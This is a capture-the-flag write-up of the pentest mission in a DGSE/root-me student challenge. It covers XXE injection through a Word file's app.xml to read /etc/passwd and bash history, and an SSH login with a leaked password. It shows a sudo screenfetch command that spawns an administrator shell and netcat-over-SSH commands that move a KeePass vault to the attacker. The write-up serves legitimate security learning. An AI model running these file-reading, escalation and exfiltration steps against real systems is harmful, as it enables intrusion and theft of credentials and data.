6 minute read

Intro

For the last month, DGSE (french intelligence agency) and root-me, hosted a challenge mainly aimed for students in IT/cybersec.

The challenge contains 6 missions, each one exploring a different domain, including AI, SOC analysis, forensic/reverse, pentest, APK reverse/crypto, and OSINT.

This post is a write-up for the pentest mission.

Recon

We are given an URL leading to this simple website :

website

It seems we can upload any Word document to add in it a tracker called “Victim ID”. A second form allows us to upload a tracked Word file to read its “Victim ID”.

In this challenge no additionnal recon is required, we will find soon enough this main page is vulnerable and will be our entry point.

Let’s give a shot with this tracker !

Initial foothold

I upload a simple word file, and the website send it back to me edited. At opening, we can see a warning about unreadable content :

word file

Even if the document’s content is identical, it appears the file was indeed modified. Let’s unzip the .docx and investigate. Quickly enough we can find this in app.xml :

app.xml

The website added a “VictimID” XML tag containing what would be a tracker ID. I try to upload this modified word back in the website’s second form :

read victim ID

This is indeed my tracker ID. Now what is happening if I manually edit this ID in app.xml and upload it again ?

read victim ID 2

We can have few ideas how to exploit this :

  • XSS : but not really interesting for this challenge
  • SQLi : this ID could be in a database
  • SSTI : Web services often use template engine and might be badly secured. Moreover I found earlier this webapp is hosted on flask, and SSTI on jinja are common in CTFs

But after unsuccessful tries, I reminded to myself that this webapp is basically reading and writing a docx file, which is mostly XML. What if we could tamper with XML parsing such as XXE injection ?

In its simplest form, a XXE could allow us to read local files, so let’s try to read /etc/passwd : this is a common test, since this file should both exists and be readable by anyone.

trying injection

You can see we need to add a <!DOCTYPE> tag with the filename (/etc/passwd) we want to read, an entity (&read) that will contains the file contents, and a tagname (VictimID) that will display our entity (the file content).

trying injection 2

It works ! And this gaves us a first finding with three non-standard users : document-user, executor and administrator.

This should be interesting to investigate.

Automate file reading

Before going further, I will automate the file reading process : I don’t know yet how many files I will need to read before I find either a way to escalate privileges or to another access, and modifying manually the payload for each try will be painful.

For our script to work we will need to prepare :

  • An example word file unzipped in a folder (named “template” in my script)
  • A copy of app.xml with the XXE exploit and a placeholder for the filename we want to read

Our script will need to :

  • Read target filename from script args
  • Read an app.xml template
  • Remplace the placeholder with our target filename
  • Write new app.xml
  • Zip template’s directory
  • Rename .zip to .docx
  • Upload to vulnerable server
  • Read result (remote file contents or error if not found/not accessible)

Complete code is Here

Privesc 1

When initial foothold only allows me to read files, my usuals goto are /etc/passwd to first identify users and home directories. With this I can try to retrieve SSH keyfiles and shell history.

Optional :

Reading /proc/self/status tells us we are inside a flask process with UID 999 (document-user). That means when reading files, we have document-user’s rights. Usually we would to start investigating with this user home directory.

I find that /home/document-user/.bash_history exists, it contains 31 lines including :

  • A file named /plans/next-op.txt, but I couldn’t read it at this point nor later
  • That the flask webapp is located in /app/app.py
  • A vim on /etc/hosts. Hosts file contains 172.18.0.2 document-station. Maybe another server on an internal network ? But checking /etc/hostname shows document-station is this server hostname.
  • And… what do we got here ? echo \"cABd*****************\" >> /tmp/exec_ssh_password.tmp

I first try to login as document-user, but got a connection refused error. No SSH server on port 22, maybe, but maybe somewhere else ? Reading /etc/ssh/sshd_config we find out a SSH server is configured on the 22222 port.

Loging as document-user I am now getting an Incorrect Password error. I try again as executor, and I’m logged in !

Privesc 2

Everytime I gain access to a shell, I give a try with sudo -l

And this is a good call, this command gives this :

(administrator) NOPASSWD: /usr/bin/screenfetch

That means we can start screenfetch as administrator without password. Pretty nice, but I don’t know this program, and it isn’t listed in GTFOBins

This program is actually a bash script, but instead of reading it all, let’s check the help -h parameter.

   -s [-u IMGHOST]    Using this flag tells the script that you want it
                      to take a screenshot. Use the -u flag if you would like
                      to upload the screenshots to one of the pre-configured
                      locations. These include: teknik, imgur, mediacrush and hmp.

   -S 'COMMAND'       Here you can specify a custom screenshot command for
                      the script to execute. Surrounding quotes are required.

So this script allows to capture a screenshot, and we can provide a custom command for this !

Don’t mind me, I’m just trying to take a screenshot with bash

sudo -u administrator /usr/bin/screenfetch -s -S "bash"

And bam, a shell as administrator !

Data exfiltration

It’s not done yet; in administrator home directory, we find two files : vault.kdbx, a keepass file, and logo.jpg.

Here comes the tricky part : we want to retrieve these files, but how ? Usually I would use python -m http.server or a netcat/socat listener, but we are in a docker, and any port we open is not routed. Moreover, unlike some CTFs, we are not on the target’s network and a listener open on our attacking machine wouldn’t be accessible from the target. Probably a ngrok/lokal.so would work, but I am not familiar with these.

Since we have a SSH access why not use it ? But we only got a SSH access to executor, not administrator. The solution I found is pretty simple : first setup a netcat between administrator and executor, and then start a netcat at SSH connection :

#In administrator shell
nc -lvnp 9001 < vault.kdbx

#From attacker
ssh -p 22222 executor@163.172.67.183 "nc 127.0.0.1 9001" > vault.kdbx

Maybe there is a more practical way, but I like this one.

Opening the vault

After we retrieve vault.kdbx, how to open it ? Weirdly enough keepass2john tells this file version is not supported, and cracking it using bruteforce might be painful anyway.

Wait, there is still this logo.jpg file, what about it ? I looked for a while at steganography but found nothing. As I open the vault.kdbx and stare at the Keepass GUI, it jumps at my face : we can open a vault using a key or a keyfile.

I select my logo.jpg, and it’s done ! The flag is inside the vault.

Tags:

Categories:

Updated: